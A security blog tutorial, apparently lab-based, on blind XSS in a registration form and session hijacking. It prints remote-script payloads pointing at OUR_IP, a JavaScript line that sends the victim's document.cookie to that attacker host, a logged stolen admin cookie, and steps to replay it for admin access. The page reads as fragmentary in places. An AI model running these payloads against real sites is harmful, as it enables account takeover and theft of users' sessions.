23 Oct 2023
This is going to be the last blog about Unveiling Dangers of Injections blog series.
I believe I've successfully presented the ideas I intended to and shed light on the aspects I wanted to uncover. I hope I've succeeded in illustrating some hidden faces of these vulnerabilities and how their severity can escalate. In today's blog, we're still discussing XSS, but we're focusing on another attack known as Session Hijacking.
First of all, what are sessions ¯\( Í â‰–â€¯- ͡≖)/¯?
- Imagine a web session as a conversation between a user and a web application. This conversation starts when a user successfully logs in, and the web application creates a session for the user. This session is like a key that allows the user to interact with the application without repeatedly logging in.
- Modern web applications utilize Cookies to maintain a user's session throughout different browsing sessions. This enables the user to log in once and keep their logged-in session alive even if they visit the same website at another time or date. However, if a malicious user obtains the cookie data from the victim's browser, they may be able to gain logged-in access without knowing the victim's credentials.
- With the ability to execute JavaScript code on the victim's browser, we may collect their cookies and send them to our server to hijack their logged-in session by performing a ' Session Hijacking' (also known as ' Cookie Stealing') attack.
Let's take a simple scenario involving a registration form
- When we fill in the regestration informations and click Register, a pop up message appeared saying:
Thank you for registering. An admin will review your request
alert
box. However, in this scenario, we don't have access to the admin panel, so... Shedding Light on Loading a Remote Script
- In HTML, we can include JavaScript code within the <script>
tags. Additionally, we can load a remote script by specifying its URL, like this: <script src="http://OUR_IP/script.js"></script>
This allows us to execute a remote JavaScript file served on our VM.
- To identify the vulnerable input field that executed the script, we can change the requested script name from script.js
to the name of the field we're injecting into, as demonstrated below:
<script src="http://OUR_IP/username"></script>
If we receive a request for /username
, it indicates that the username field is vulnerable to XSS, and so on. With this knowledge, we can begin testing various XSS payloads that load a remote script and observe which of them generate requests. Here are a few examples that you can use from PayloadsAllTheThings
Before we start sending payloads, we need to start a listener on our VM, using php as shown in a previous Blog : Now we can start testing these payloads one by one by using one of them for all of input fields and appending the name of the field after our IP, as mentioned earlier, like: Once we submit the form, we wait a few seconds and check our terminal to see if anything called our server. If nothing calls our server, then we can proceed to the next payload, and so on.
Once we receive a call to our server, we should note the last XSS payload we used as a working payload and note the input field name that called our server as the vulnerable input field. Once we find a working XSS payload and have identified the vulnerable input field, we can proceed to XSS exploitation and perform a Session Hijacking attack.
Session Hijacking
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
script.js
, which will be hosted on our VM as well: new Image().src='http://OUR_IP/index.php?c='+document.cookie
script.js
<script src=http://OUR_IP/script.js></script>
index.php
, and re-run the PHP server again: Now, we wait for the victim (Admin) to visit the vulnerable page and view our XSS payload. Once they do, we will get two requests on our server, one for script.js
, which in turn will make another request with the cookie value: cookies.txt
file with a clean log of cookies: cat cookies.txt
Victim IP: 10.10.10.1 | Cookie: cookie=f904f93c949d19d870911bf8b05fe7b2
www.hijacking/login.php
, we can click Shift+F9
in Firefox to reveal the Storage bar in the Developer Tools. +
button on the top right corner and add our cookie, where the Name is the part before =
and the Value is the part after =
from our stolen cookie: Welcome Back Admin!